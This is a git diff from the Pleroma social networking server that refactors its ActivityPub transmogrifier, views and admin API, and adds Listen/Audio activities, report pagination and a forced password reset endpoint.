fix_explicit_addressing(object) do - explicit_mentions = + explicit_mentions = Utils.determine_explicit_mentions(object) + + %User{follower_address: follower_collection} = object - |> Utils.determine_explicit_mentions() + |> Containment.get_actor() + |> User.get_cached_by_ap_id() - follower_collection = User.get_cached_by_ap_id(Containment.get_actor(object)).follower_address - - explicit_mentions = explicit_mentions ++ [Pleroma.Constants.as_public(), follower_collection] + explicit_mentions = + explicit_mentions ++ + [ + Pleroma.Constants.as_public(), + follower_collection + ] fix_explicit_addressing(object, explicit_mentions, follower_collection) end @@ -148,48 +146,25 @@ def fix_addressing(object) do end def fix_actor(%{"attributedTo" => actor} = object) do - object - |> Map.put("actor", Containment.get_actor(%{"actor" => actor})) + Map.put(object, "actor", Containment.get_actor(%{"actor" => actor})) end def fix_in_reply_to(object, options \\ []) def fix_in_reply_to(%{"inReplyTo" => in_reply_to} = object, options) when not is_nil(in_reply_to) do - in_reply_to_id = - cond do - is_bitstring(in_reply_to) -> - in_reply_to - - is_map(in_reply_to) && is_bitstring(in_reply_to["id"]) -> - in_reply_to["id"] - - is_list(in_reply_to) && is_bitstring(Enum.at(in_reply_to, 0)) -> - Enum.at(in_reply_to, 0) - - # Maybe I should output an error too? - true -> - "" - end - + in_reply_to_id = prepare_in_reply_to(in_reply_to) object = Map.put(object, "inReplyToAtomUri", in_reply_to_id) if Federator.allowed_incoming_reply_depth?(options[:depth]) do - case get_obj_helper(in_reply_to_id, options) do - {:ok, replied_object} -> - with %Activity{} = _activity <- - Activity.get_create_by_object_ap_id(replied_object.data["id"]) do - object - |> Map.put("inReplyTo", replied_object.data["id"]) - |> Map.put("inReplyToAtomUri", object["inReplyToAtomUri"] || in_reply_to_id) - |> Map.put("conversation", replied_object.data["context"] || object["conversation"]) - |> Map.put("context", replied_object.data["context"] || object["conversation"]) - else - e -> - Logger.error("Couldn't fetch #{inspect(in_reply_to_id)}, error: #{inspect(e)}") - object - end - + with {:ok, replied_object} <- get_obj_helper(in_reply_to_id, options), + %Activity{} = _ <- Activity.get_create_by_object_ap_id(replied_object.data["id"]) do + object + |> Map.put("inReplyTo", replied_object.data["id"]) + |> Map.put("inReplyToAtomUri", object["inReplyToAtomUri"] || in_reply_to_id) + |> Map.put("conversation", replied_object.data["context"] || object["conversation"]) + |> Map.put("context", replied_object.data["context"] || object["conversation"]) + else e -> Logger.error("Couldn't fetch #{inspect(in_reply_to_id)}, error: #{inspect(e)}") object @@ -201,6 +176,22 @@ def fix_in_reply_to(%{"inReplyTo" => in_reply_to} = object, options) def fix_in_reply_to(object, _options), do: object + defp prepare_in_reply_to(in_reply_to) do + cond do + is_bitstring(in_reply_to) -> + in_reply_to + + is_map(in_reply_to) && is_bitstring(in_reply_to["id"]) -> + in_reply_to["id"] + + is_list(in_reply_to) && is_bitstring(Enum.at(in_reply_to, 0)) -> + Enum.at(in_reply_to, 0) + + true -> + "" + end + end + def fix_context(object) do context = object["context"] || object["conversation"] || Utils.generate_context_id() @@ -211,11 +202,9 @@ def fix_context(object) do def fix_attachments(%{"attachment" => attachment} = object) when is_list(attachment) do attachments = - attachment - |> Enum.map(fn data -> + Enum.map(attachment, fn data -> media_type = data["mediaType"] || data["mimeType"] href = data["url"] || data["href"] - url = [%{"type" => "Link", "mediaType" => media_type, "href" => href}] data @@ -223,30 +212,25 @@ def fix_attachments(%{"attachment" => attachment} = object) when is_list(attachm |> Map.put("url", url) end) - object - |> Map.put("attachment", attachments) + Map.put(object, "attachment", attachments) end def fix_attachments(%{"attachment" => attachment} = object) when is_map(attachment) do - Map.put(object, "attachment", [attachment]) + object + |> Map.put("attachment", [attachment]) |> fix_attachments() end def fix_attachments(object), do: object def fix_url(%{"url" => url} = object) when is_map(url) do - object - |> Map.put("url", url["href"]) + Map.put(object, "url", url["href"]) end def fix_url(%{"type" => "Video", "url" => url} = object) when is_list(url) do first_element = Enum.at(url, 0) - link_element = - url - |> Enum.filter(fn x -> is_map(x) end) - |> Enum.filter(fn x -> x["mimeType"] == "text/html" end) - |> Enum.at(0) + link_element = Enum.find(url, fn x -> is_map(x) and x["mimeType"] == "text/html" end) object |> Map.put("attachment", [first_element]) @@ -264,36 +248,32 @@ def fix_url(%{"type" => object_type, "url" => url} = object) true -> "" end - object - |> Map.put("url", url_string) + Map.put(object, "url", url_string) end def fix_url(object), do: object def fix_emoji(%{"tag" => tags} = object) when is_list(tags) do - emoji = tags |> Enum.filter(fn data -> data["type"] == "Emoji" and data["icon"] end) - emoji = - emoji + tags + |> Enum.filter(fn data -> data["type"] == "Emoji" and data["icon"] end) |> Enum.reduce(%{}, fn data, mapping -> name = String.trim(data["name"], ":") - mapping |> Map.put(name, data["icon"]["url"]) + Map.put(mapping, name, data["icon"]["url"]) end) # we merge mastodon and pleroma emoji into a single mapping, to allow for both wire formats emoji = Map.merge(object["emoji"] || %{}, emoji) - object - |> Map.put("emoji", emoji) + Map.put(object, "emoji", emoji) end def fix_emoji(%{"tag" => %{"type" => "Emoji"} = tag} = object) do name = String.trim(tag["name"], ":") emoji = %{name => tag["icon"]["url"]} - object - |> Map.put("emoji", emoji) + Map.put(object, "emoji", emoji) end def fix_emoji(object), do: object @@ -304,17 +284,13 @@ def fix_tag(%{"tag" => tag} = object) when is_list(tag) do |> Enum.filter(fn data -> data["type"] == "Hashtag" and data["name"] end) |> Enum.map(fn data -> String.slice(data["name"], 1..-1) end) - combined = tag ++ tags - - object - |> Map.put("tag", combined) + Map.put(object, "tag", tag ++ tags) end def fix_tag(%{"tag" => %{"type" => "Hashtag", "name" => hashtag} = tag} = object) do combined = [tag, String.slice(hashtag, 1..-1)] - object - |> Map.put("tag", combined) + Map.put(object, "tag", combined) end def fix_tag(%{"tag" => %{} = tag} = object), do: Map.put(object, "tag", [tag]) @@ -326,8 +302,7 @@ def fix_content_map(%{"contentMap" => content_map} = object) do content_groups = Map.to_list(content_map) {_, content} = Enum.at(content_groups, 0) - object - |> Map.put("content", content) + Map.put(object, "content", content) end def fix_content_map(object), do: object @@ -336,16 +311,11 @@ def fix_type(object, options \\ []) def fix_type(%{"inReplyTo" => reply_id, "name" => _} = object, options) when is_binary(reply_id) do - reply = - with true <- Federator.allowed_incoming_reply_depth?(options[:depth]), - {:ok, object} <- get_obj_helper(reply_id, options) do - object - end - - if reply && reply.data["type"] == "Question" do + with true <- Federator.allowed_incoming_reply_depth?(options[:depth]), + {:ok, %{data: %{"type" => "Question"} = _} = _} <- get_obj_helper(reply_id, options) do Map.put(object, "type", "Answer") else - object + _ -> object end end @@ -377,6 +347,17 @@ defp get_follow_activity(follow_object, followed) do end end + # Reduce the object list to find the reported user. + defp get_reported(objects) do + Enum.reduce_while(objects, nil, fn ap_id, _ -> + with %User{} = user <- User.get_cached_by_ap_id(ap_id) do + {:halt, user} + else + _ -> {:cont, nil} + end + end) + end + def handle_incoming(data, options \\ []) # Flag objects are placed ahead of the ID check because Mastodon 2.8 and earlier send them @@ -385,31 +366,19 @@ def handle_incoming(%{"type" => "Flag", "object" => objects, "actor" => actor} = with context <- data["context"] || Utils.generate_context_id(), content <- data["content"] || "", %User{} = actor <- User.get_cached_by_ap_id(actor), - # Reduce the object list to find the reported user. - %User{} = account <- - Enum.reduce_while(objects, nil, fn ap_id, _ -> - with %User{} = user <- User.get_cached_by_ap_id(ap_id) do - {:halt, user} - else - _ -> {:cont, nil} - end - end), - + %User{} = account <- get_reported(objects), # Remove the reported user from the object list. statuses <- Enum.filter(objects, fn ap_id -> ap_id != account.ap_id end) do - params = %{ + %{ actor: actor, context: context, account: account, statuses: statuses, content: content, - additional: %{ - "cc" => [account.ap_id] - } + additional: %{"cc" => [account.ap_id]} } - - ActivityPub.flag(params) + |> ActivityPub.flag() end end @@ -461,6 +430,36 @@ def handle_incoming( end end + def handle_incoming( + %{"type" => "Listen", "object" => %{"type" => "Audio"} = object} = data, + options + ) do + actor = Containment.get_actor(data) + + data = + Map.put(data, "actor", actor) + |> fix_addressing + + with {:ok, %User{} = user} <- User.get_or_fetch_by_ap_id(data["actor"]) do + options = Keyword.put(options, :depth, (options[:depth] || 0) + 1) + object = fix_object(object, options) + + params = %{ + to: data["to"], + object: object, + actor: user, + context: nil, + local: false, + published: data["published"], + additional: Map.take(data, ["cc", "id"]) + } + + ActivityPub.listen(params) + else + _e -> :error + end + end + def handle_incoming( %{"type" => "Follow", "object" => followed, "actor" => follower, "id" => id} = data, _options @@ -756,8 +755,12 @@ def handle_incoming( def handle_incoming(_, _), do: :error + @spec get_obj_helper(String.t(), Keyword.t()) :: {:ok, Object.t()} | nil def get_obj_helper(id, options \\ []) do - if object = Object.normalize(id, true, options), do: {:ok, object}, else: nil + case Object.normalize(id, true, options) do + %Object{} = object -> {:ok, object} + _ -> nil + end end def set_reply_to_uri(%{"inReplyTo" => in_reply_to} = object) when is_binary(in_reply_to) do @@ -792,7 +795,8 @@ def prepare_object(object) do # internal -> Mastodon # """ - def prepare_outgoing(%{"type" => "Create", "object" => object_id} = data) do + def prepare_outgoing(%{"type" => activity_type, "object" => object_id} = data) + when activity_type in ["Create", "Listen"] do object = object_id |> Object.normalize() @@ -856,27 +860,24 @@ def prepare_outgoing(%{"type" => _type} = data) do {:ok, data} end - def maybe_fix_object_url(data) do - if is_binary(data["object"]) and not String.starts_with?(data["object"], "http") do - case get_obj_helper(data["object"]) do - {:ok, relative_object} -> - if relative_object.data["external_url"] do - _data = - data - |> Map.put("object", relative_object.data["external_url"]) - else - data - end - - e -> - Logger.error("Couldn't fetch #{data["object"]} #{inspect(e)}") - data - end + def maybe_fix_object_url(%{"object" => object} = data) when is_binary(object) do + with false <- String.starts_with?(object, "http"), + {:fetch, {:ok, relative_object}} <- {:fetch, get_obj_helper(object)}, + %{data: %{"external_url" => external_url}} when not is_nil(external_url) <- + relative_object do + Map.put(data, "object", external_url) else - data + {:fetch, e} -> + Logger.error("Couldn't fetch #{object} #{inspect(e)}") + data + + _ -> + data end end + def maybe_fix_object_url(data), do: data + def add_hashtags(object) do tags = (object["tag"] || []) @@ -894,53 +895,49 @@ def add_hashtags(object) do tag end) - object - |> Map.put("tag", tags) + Map.put(object, "tag", tags) end def add_mention_tags(object) do mentions = object |> Utils.get_notified_from_object() - |> Enum.map(fn user -> - %{"type" => "Mention", "href" => user.ap_id, "name" => "@#{user.nickname}"} - end) + |> Enum.map(&build_mention_tag/1) tags = object["tag"] || [] - object - |> Map.put("tag", tags ++ mentions) + Map.put(object, "tag", tags ++ mentions) end - def add_emoji_tags(%User{info: %{"emoji" => _emoji} = user_info} = object) do - user_info = add_emoji_tags(user_info) + defp build_mention_tag(%{ap_id: ap_id, nickname: nickname} = _) do + %{"type" => "Mention", "href" => ap_id, "name" => "@#{nickname}"} + end - object - |> Map.put(:info, user_info) + def take_emoji_tags(%User{info: %{emoji: emoji} = _user_info} = _user) do + emoji + |> Enum.flat_map(&Map.to_list/1) + |> Enum.map(&build_emoji_tag/1) end # TODO: we should probably send mtime instead of unix epoch time for updated def add_emoji_tags(%{"emoji" => emoji} = object) do tags = object["tag"] || [] - out = - emoji - |> Enum.map(fn {name, url} -> - %{ - "icon" => %{"url" => url, "type" => "Image"}, - "name" => ":" <> name <> ":", - "type" => "Emoji", - "updated" => "1970-01-01T00:00:00Z", - "id" => url - } - end) + out = Enum.map(emoji, &build_emoji_tag/1) - object - |> Map.put("tag", tags ++ out) + Map.put(object, "tag", tags ++ out) end - def add_emoji_tags(object) do - object + def add_emoji_tags(object), do: object + + defp build_emoji_tag({name, url}) do + %{ + "icon" => %{"url" => url, "type" => "Image"}, + "name" => ":" <> name <> ":", + "type" => "Emoji", + "updated" => "1970-01-01T00:00:00Z", + "id" => url + } end def set_conversation(object) do @@ -960,9 +957,7 @@ def set_type(object), do: object def add_attributed_to(object) do attributed_to = object["attributedTo"] || object["actor"] - - object - |> Map.put("attributedTo", attributed_to) + Map.put(object, "attributedTo", attributed_to) end def prepare_attachments(object) do @@ -973,8 +968,7 @@ def prepare_attachments(object) do %{"url" => href, "mediaType" => media_type, "name" => data["name"], "type" => "Document"} end) - object - |> Map.put("attachment", attachments) + Map.put(object, "attachment", attachments) end defp strip_internal_fields(object) do @@ -983,12 +977,9 @@ defp strip_internal_fields(object) do end defp strip_internal_tags(%{"tag" => tags} = object) do - tags = - tags - |> Enum.filter(fn x -> is_map(x) end) + tags = Enum.filter(tags, fn x -> is_map(x) end) - object - |> Map.put("tag", tags) + Map.put(object, "tag", tags) end defp strip_internal_tags(object), do: object @@ -1073,16 +1064,11 @@ def maybe_retire_websub(ap_id) do end end - def maybe_fix_user_url(data) do - if is_map(data["url"]) do - Map.put(data, "url", data["url"]["href"]) - else - data - end + def maybe_fix_user_url(%{"url" => url} = data) when is_map(url) do + Map.put(data, "url", url["href"]) end - def maybe_fix_user_object(data) do - data - |> maybe_fix_user_url - end + def maybe_fix_user_url(data), do: data + + def maybe_fix_user_object(data), do: maybe_fix_user_url(data) end diff --git a/lib/pleroma/web/activity_pub/utils.ex b/lib/pleroma/web/activity_pub/utils.ex index 30628a793..2ba182f4e 100644 --- a/lib/pleroma/web/activity_pub/utils.ex +++ b/lib/pleroma/web/activity_pub/utils.ex @@ -20,7 +20,7 @@ defmodule Pleroma.Web.ActivityPub.Utils do require Logger require Pleroma.Constants - @supported_object_types ["Article", "Note", "Video", "Page", "Question", "Answer"] + @supported_object_types ["Article", "Note", "Video", "Page", "Question", "Answer", "Audio"] @supported_report_states ~w(open closed resolved) @valid_visibilities ~w(public unlisted private direct) @@ -581,6 +581,21 @@ def make_create_data(params, additional) do |> Map.merge(additional) end + #### Listen-related helpers + def make_listen_data(params, additional) do + published = params.published || make_date() + + %{ + "type" => "Listen", + "to" => params.to |> Enum.uniq(), + "actor" => params.actor.ap_id, + "object" => params.object, + "published" => published, + "context" => params.context + } + |> Map.merge(additional) + end + #### Flag-related helpers @spec make_flag_data(map(), map()) :: map() def make_flag_data(%{actor: actor, context: context, content: content} = params, additional) do diff --git a/lib/pleroma/web/activity_pub/views/object_view.ex b/lib/pleroma/web/activity_pub/views/object_view.ex index 94d05f49b..88c55acdd 100644 --- a/lib/pleroma/web/activity_pub/views/object_view.ex +++ b/lib/pleroma/web/activity_pub/views/object_view.ex @@ -15,7 +15,8 @@ def render("object.json", %{object: %Object{} = object}) do Map.merge(base, additional) end - def render("object.json", %{object: %Activity{data: %{"type" => "Create"}} = activity}) do + def render("object.json", %{object: %Activity{data: %{"type" => activity_type}} = activity}) + when activity_type in ["Create", "Listen"] do base = Pleroma.Web.ActivityPub.Utils.make_json_ld_header() object = Object.normalize(activity) @@ -37,12 +38,12 @@ def render("object.json", %{object: %Activity{} = activity}) do Map.merge(base, additional) end - def render("likes.json", ap_id, likes, page) do + def render("likes.json", %{ap_id: ap_id, likes: likes, page: page}) do collection(likes, "#{ap_id}/likes", page) |> Map.merge(Pleroma.Web.ActivityPub.Utils.make_json_ld_header()) end - def render("likes.json", ap_id, likes) do + def render("likes.json", %{ap_id: ap_id, likes: likes}) do %{ "id" => "#{ap_id}/likes", "type" => "OrderedCollection", diff --git a/lib/pleroma/web/activity_pub/views/user_view.ex b/lib/pleroma/web/activity_pub/views/user_view.ex index 164b973d0..c94c5a225 100644 --- a/lib/pleroma/web/activity_pub/views/user_view.ex +++ b/lib/pleroma/web/activity_pub/views/user_view.ex @@ -8,7 +8,6 @@ defmodule Pleroma.Web.ActivityPub.UserView do alias Pleroma.Keys alias Pleroma.Repo alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub alias Pleroma.Web.ActivityPub.Transmogrifier alias Pleroma.Web.ActivityPub.Utils alias Pleroma.Web.Endpoint @@ -25,7 +24,8 @@ def render("endpoints.json", %{user: %User{local: true} = _user}) do "oauthAuthorizationEndpoint" => Helpers.o_auth_url(Endpoint, :authorize), "oauthRegistrationEndpoint" => Helpers.mastodon_api_url(Endpoint, :create_app), "oauthTokenEndpoint" => Helpers.o_auth_url(Endpoint, :token_exchange), - "sharedInbox" => Helpers.activity_pub_url(Endpoint, :inbox) + "sharedInbox" => Helpers.activity_pub_url(Endpoint, :inbox), + "uploadMedia" => Helpers.activity_pub_url(Endpoint, :upload_media) } end @@ -75,10 +75,7 @@ def render("user.json", %{user: user}) do endpoints = render("endpoints.json", %{user: user}) - user_tags = - user - |> Transmogrifier.add_emoji_tags() - |> Map.get("tag", []) + emoji_tags = Transmogrifier.take_emoji_tags(user) fields = user.info @@ -110,7 +107,8 @@ def render("user.json", %{user: user}) do }, "endpoints" => endpoints, "attachment" => fields, - "tag" => (user.info.source_data["tag"] || []) ++ user_tags + "tag" => (user.info.source_data["tag"] || []) ++ emoji_tags, + "discoverable" => user.info.discoverable } |> Map.merge(maybe_make_image(&User.avatar_url/2, "icon", user)) |> Map.merge(maybe_make_image(&User.banner_url/2, "image", user)) @@ -213,25 +211,22 @@ def render("followers.json", %{user: user} = opts) do |> Map.merge(Utils.make_json_ld_header()) end - def render("outbox.json", %{user: user, max_id: max_qid}) do - params = %{ - "limit" => "10" + def render("activity_collection.json", %{iri: iri}) do + %{ + "id" => iri, + "type" => "OrderedCollection", + "first" => "#{iri}?page=true" } + |> Map.merge(Utils.make_json_ld_header()) + end - params = - if max_qid != nil do - Map.put(params, "max_id", max_qid) - else - params - end - - activities = ActivityPub.fetch_user_activities(user, nil, params) - + def render("activity_collection_page.json", %{activities: activities, iri: iri}) do + # this is sorted chronologically, so first activity is the newest (max) {max_id, min_id, collection} = if length(activities) > 0 do { - Enum.at(Enum.reverse(activities), 0).id, Enum.at(activities, 0).id, + Enum.at(Enum.reverse(activities), 0).id, Enum.map(activities, fn act -> {:ok, data} = Transmogrifier.prepare_outgoing(act.data) data @@ -245,71 +240,14 @@ def render("outbox.json", %{user: user, max_id: max_qid}) do } end - iri = "#{user.ap_id}/outbox" - - page = %{ - "id" => "#{iri}?max_id=#{max_id}", + %{ + "id" => "#{iri}?max_id=#{max_id}&page=true", "type" => "OrderedCollectionPage", "partOf" => iri, "orderedItems" => collection, - "next" => "#{iri}?max_id=#{min_id}" + "next" => "#{iri}?max_id=#{min_id}&page=true" } - - if max_qid == nil do - %{ - "id" => iri, - "type" => "OrderedCollection", - "first" => page - } - |> Map.merge(Utils.make_json_ld_header()) - else - page |> Map.merge(Utils.make_json_ld_header()) - end - end - - def render("inbox.json", %{user: user, max_id: max_qid}) do - params = %{ - "limit" => "10" - } - - params = - if max_qid != nil do - Map.put(params, "max_id", max_qid) - else - params - end - - activities = ActivityPub.fetch_activities([user.ap_id | user.following], params) - - min_id = Enum.at(Enum.reverse(activities), 0).id - max_id = Enum.at(activities, 0).id - - collection = - Enum.map(activities, fn act -> - {:ok, data} = Transmogrifier.prepare_outgoing(act.data) - data - end) - - iri = "#{user.ap_id}/inbox" - - page = %{ - "id" => "#{iri}?max_id=#{max_id}", - "type" => "OrderedCollectionPage", - "partOf" => iri, - "orderedItems" => collection, - "next" => "#{iri}?max_id=#{min_id}" - } - - if max_qid == nil do - %{ - "id" => iri, - "type" => "OrderedCollection", - "first" => page - } - |> Map.merge(Utils.make_json_ld_header()) - else - page |> Map.merge(Utils.make_json_ld_header()) - end + |> Map.merge(Utils.make_json_ld_header()) end def collection(collection, iri, page, show_items \\ true, total \\ nil) do diff --git a/lib/pleroma/web/admin_api/admin_api_controller.ex b/lib/pleroma/web/admin_api/admin_api_controller.ex index 5bb5e67cd..513bae800 100644 --- a/lib/pleroma/web/admin_api/admin_api_controller.ex +++ b/lib/pleroma/web/admin_api/admin_api_controller.ex @@ -15,10 +15,13 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIController do alias Pleroma.Web.AdminAPI.Config alias Pleroma.Web.AdminAPI.ConfigView alias Pleroma.Web.AdminAPI.ModerationLogView + alias Pleroma.Web.AdminAPI.Report alias Pleroma.Web.AdminAPI.ReportView alias Pleroma.Web.AdminAPI.Search alias Pleroma.Web.CommonAPI + alias Pleroma.Web.Endpoint alias Pleroma.Web.MastodonAPI.StatusView + alias Pleroma.Web.Router import Pleroma.Web.ControllerHelper, only: [json_response: 3] @@ -201,7 +204,8 @@ def users_create(%{assigns: %{user: admin}} = conn, %{"users" => users}) do def user_show(conn, %{"nickname" => nickname}) do with %User{} = user <- User.get_cached_by_nickname_or_id(nickname) do conn - |> json(AccountView.render("show.json", %{user: user})) + |> put_view(AccountView) + |> render("show.json", %{user: user}) else _ -> {:error, :not_found} end @@ -220,7 +224,8 @@ def list_user_statuses(conn, %{"nickname" => nickname} = params) do }) conn - |> json(StatusView.render("index.json", %{activities: activities, as: :activity})) + |> put_view(StatusView) + |> render("index.json", %{activities: activities, as: :activity}) else _ -> {:error, :not_found} end @@ -240,7 +245,8 @@ def user_toggle_activation(%{assigns: %{user: admin}} = conn, %{"nickname" => ni }) conn - |> json(AccountView.render("show.json", %{user: updated_user})) + |> put_view(AccountView) + |> render("show.json", %{user: updated_user}) end def tag_users(%{assigns: %{user: admin}} = conn, %{"nicknames" => nicknames, "tags" => tags}) do @@ -312,18 +318,12 @@ def right_add(%{assigns: %{user: admin}} = conn, %{ "nickname" => nickname }) when permission_group in ["moderator", "admin"] do - user = User.get_cached_by_nickname(nickname) + info = Map.put(%{}, "is_" <> permission_group, true) - info = - %{} - |> Map.put("is_" <> permission_group, true) - - info_cng = User.Info.admin_api_update(user.info, info) - - cng = - user - |> Ecto.Changeset.change() - |> Ecto.Changeset.put_embed(:info, info_cng) + {:ok, user} = + nickname + |> User.get_cached_by_nickname() + |> User.update_info(&User.Info.admin_api_update(&1, info)) ModerationLog.insert_log(%{ action: "grant", @@ -332,8 +332,6 @@ def right_add(%{assigns: %{user: admin}} = conn, %{ permission: permission_group }) - {:ok, _user} = User.update_and_set_cache(cng) - json(conn, info) end @@ -351,40 +349,33 @@ def right_get(conn, %{"nickname" => nickname}) do }) end + def right_delete(%{assigns: %{user: %{nickname: nickname}}} = conn, %{"nickname" => nickname}) do + render_error(conn, :forbidden, "You can't revoke your own admin status.") + end + def right_delete( - %{assigns: %{user: %User{:nickname => admin_nickname} = admin}} = conn, + %{assigns: %{user: admin}} = conn, %{ "permission_group" => permission_group, "nickname" => nickname } ) when permission_group in ["moderator", "admin"] do - if admin_nickname == nickname do - render_error(conn, :forbidden, "You can't revoke your own admin status.") - else - user = User.get_cached_by_nickname(nickname) + info = Map.put(%{}, "is_" <> permission_group, false) - info = - %{} - |> Map.put("is_" <> permission_group, false) + {:ok, user} = + nickname + |> User.get_cached_by_nickname() + |> User.update_info(&User.Info.admin_api_update(&1, info)) - info_cng = User.Info.admin_api_update(user.info, info) + ModerationLog.insert_log(%{ + action: "revoke", + actor: admin, + subject: user, + permission: permission_group + }) - cng = - Ecto.Changeset.change(user) - |> Ecto.Changeset.put_embed(:info, info_cng) - - {:ok, _user} = User.update_and_set_cache(cng) - - ModerationLog.insert_log(%{ - action: "revoke", - actor: admin, - subject: user, - permission: permission_group - }) - - json(conn, info) - end + json(conn, info) end def right_delete(conn, _) do @@ -486,7 +477,8 @@ def invites(conn, _params) do invites = UserInviteToken.list_invites() conn - |> json(AccountView.render("invites.json", %{invites: invites})) + |> put_view(AccountView) + |> render("invites.json", %{invites: invites}) end @doc "Revokes invite by token" @@ -494,7 +486,8 @@ def revoke_invite(conn, %{"token" => token}) do with {:ok, invite} <- UserInviteToken.find_by_token(token), {:ok, updated_invite} = UserInviteToken.update_invite(invite, %{used: true}) do conn - |> json(AccountView.render("invite.json", %{invite: updated_invite})) + |> put_view(AccountView) + |> render("invite.json", %{invite: updated_invite}) else nil -> {:error, :not_found} end @@ -506,17 +499,33 @@ def get_password_reset(conn, %{"nickname" => nickname}) do {:ok, token} = Pleroma.PasswordResetToken.create_token(user) conn - |> json(token.token) + |> json(%{ + token: token.token, + link: Router.Helpers.reset_password_url(Endpoint, :reset, token.token) + }) + end + + @doc "Force password reset for a given user" + def force_password_reset(conn, %{"nickname" => nickname}) do + (%User{local: true} = user) = User.get_cached_by_nickname(nickname) + + User.force_password_reset_async(user) + + json_response(conn, :no_content, "") end def list_reports(conn, params) do + {page, page_size} = page_params(params) + params = params |> Map.put("type", "Flag") |> Map.put("skip_preload", true) |> Map.put("total", true) + |> Map.put("limit", page_size) + |> Map.put("offset", (page - 1) * page_size) - reports = ActivityPub.fetch_activities([], params) + reports = ActivityPub.fetch_activities([], params, :offset) conn |> put_view(ReportView) @@ -527,7 +536,7 @@ def report_show(conn, %{"id" => id}) do with %Activity{} = report <- Activity.get_by_id(id) do conn |> put_view(ReportView) - |> render("show.json", %{report: report}) + |> render("show.json", Report.extract_report_info(report)) else _ -> {:error, :not_found} end @@ -543,7 +552,7 @@ def report_update_state(%{assigns: %{user: admin}} = conn, %{"id" => id, "state" conn |> put_view(ReportView) - |> render("show.json", %{report: report}) + |> render("show.json", Report.extract_report_info(report)) end end @@ -566,7 +575,7 @@ def report_respond(%{assigns: %{user: user}} = conn, %{"id" => id} = params) do conn |> put_view(StatusView) - |> render("status.json", %{activity: activity}) + |> render("show.json", %{activity: activity}) else true -> {:param_cast, nil} @@ -590,7 +599,7 @@ def status_update(%{assigns: %{user: admin}} = conn, %{"id" => id} = params) do conn |> put_view(StatusView) - |> render("status.json", %{activity: activity}) + |> render("show.json", %{activity: activity}) end end @@ -609,7 +618,15 @@ def status_delete(%{assigns: %{user: user}} = conn, %{"id" => id}) do def list_log(conn, params) do {page, page_size} = page_params(params) - log = ModerationLog.get_all(page, page_size) + log = + ModerationLog.get_all(%{ + page: page, + page_size: page_size, + start_date: params["start_date"], + end_date: params["end_date"], + user_id: params["user_id"], + search: params["search"] + }) conn |> put_view(ModerationLogView) @@ -661,6 +678,12 @@ def config_update(conn, %{"configs" => configs}) do |> render("index.json", %{configs: updated}) end + def reload_emoji(conn, _params) do + Pleroma.Emoji.reload() + + conn |> json("ok") + end + def errors(conn, {:error, :not_found}) do conn |> put_status(:not_found) diff --git a/lib/pleroma/web/admin_api/report.ex b/lib/pleroma/web/admin_api/report.ex new file mode 100644 index 000000000..c751dc2be --- /dev/null +++ b/lib/pleroma/web/admin_api/report.ex @@ -0,0 +1,22 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.Report do + alias Pleroma.Activity + alias Pleroma.User + + def extract_report_info( + %{data: %{"actor" => actor, "object" => [account_ap_id | status_ap_ids]}} = report + ) do + user = User.get_cached_by_ap_id(actor) + account = User.get_cached_by_ap_id(account_ap_id) + + statuses = + Enum.map(status_ap_ids, fn ap_id -> + Activity.get_by_ap_id_with_object(ap_id) + end) + + %{report: report, user: user, account: account, statuses: statuses} + end +end diff --git a/lib/pleroma/web/admin_api/views/moderation_log_view.ex b/lib/pleroma/web/admin_api/views/moderation_log_view.ex index b3fc7cfe5..e7752d1f3 100644 --- a/lib/pleroma/web/admin_api/views/moderation_log_view.ex +++ b/lib/pleroma/web/admin_api/views/moderation_log_view.ex @@ -8,7 +8,10 @@ defmodule Pleroma.Web.AdminAPI.ModerationLogView do alias Pleroma.ModerationLog def render("index.json", %{log: log}) do - render_many(log, __MODULE__, "show.json", as: :log_entry) + %{ + items: render_many(log.items, __MODULE__, "show.json", as: :log_entry), + total: log.count + } end def render("show.json", %{log_entry: log_entry}) do diff --git a/lib/pleroma/web/admin_api/views/report_view.ex b/lib/pleroma/web/admin_api/views/report_view.ex index 51b95ad5e..101a74c63 100644 --- a/lib/pleroma/web/admin_api/views/report_view.ex +++ b/lib/pleroma/web/admin_api/views/report_view.ex @@ -4,27 +4,26 @@ defmodule Pleroma.Web.AdminAPI.ReportView do use Pleroma.Web, :view - alias Pleroma.Activity alias Pleroma.HTML alias Pleroma.User + alias Pleroma.Web.AdminAPI.Report alias Pleroma.Web.CommonAPI.Utils alias Pleroma.Web.MastodonAPI.StatusView def render("index.json", %{reports: reports}) do %{ reports: - render_many(reports[:items], __MODULE__, "show.json", as: :report) |> Enum.reverse(), + reports[:items] + |> Enum.map(&Report.extract_report_info(&1)) + |> Enum.map(&render(__MODULE__, "show.json", &1)) + |> Enum.reverse(), total: reports[:total] } end - def render("show.json", %{report: report}) do - user = User.get_cached_by_ap_id(report.data["actor"]) + def render("show.json", %{report: report, user: user, account: account, statuses: statuses}) do created_at = Utils.to_masto_date(report.data["published"]) - [account_ap_id | status_ap_ids] = report.data["object"] - account = User.get_cached_by_ap_id(account_ap_id) - content = unless is_nil(report.data["content"]) do HTML.filter_tags(report.data["content"]) @@ -32,11 +31,6 @@ def render("show.json", %{report: report}) do nil end - statuses = - Enum.map(status_ap_ids, fn ap_id -> - Activity.get_by_ap_id_with_object(ap_id) - end) - %{ id: report.id, account: merge_account_views(account), @@ -49,7 +43,7 @@ def render("show.json", %{report: report}) do end defp merge_account_views(%User{} = user) do - Pleroma.Web.MastodonAPI.AccountView.render("account.json", %{user: user}) + Pleroma.Web.MastodonAPI.AccountView.render("show.json", %{user: user}) |> Map.merge(Pleroma.Web.AdminAPI.AccountView.render("show.json", %{user: user})) end diff --git a/lib/pleroma/web/chat_channel.ex b/lib/pleroma/web/chat_channel.ex index b543909f1..08841a3e8 100644 --- a/lib/pleroma/web/chat_channel.ex +++ b/lib/pleroma/web/chat_channel.ex @@ -22,7 +22,7 @@ def handle_in("new_msg", %{"text" => text}, %{assigns: %{user_name: user_name}} if String.length(text) > 0 do author = User.get_cached_by_nickname(user_name) - author = Pleroma.Web.MastodonAPI.AccountView.render("account.json", user: author) + author = Pleroma.Web.MastodonAPI.AccountView.render("show.json", user: author) message = ChatChannelState.add_message(%{text: text, author: author}) broadcast!(socket, "new_msg", message) diff --git a/lib/pleroma/web/common_api/activity_draft.ex b/lib/pleroma/web/common_api/activity_draft.ex new file mode 100644 index 000000000..f7da81b34 --- /dev/null 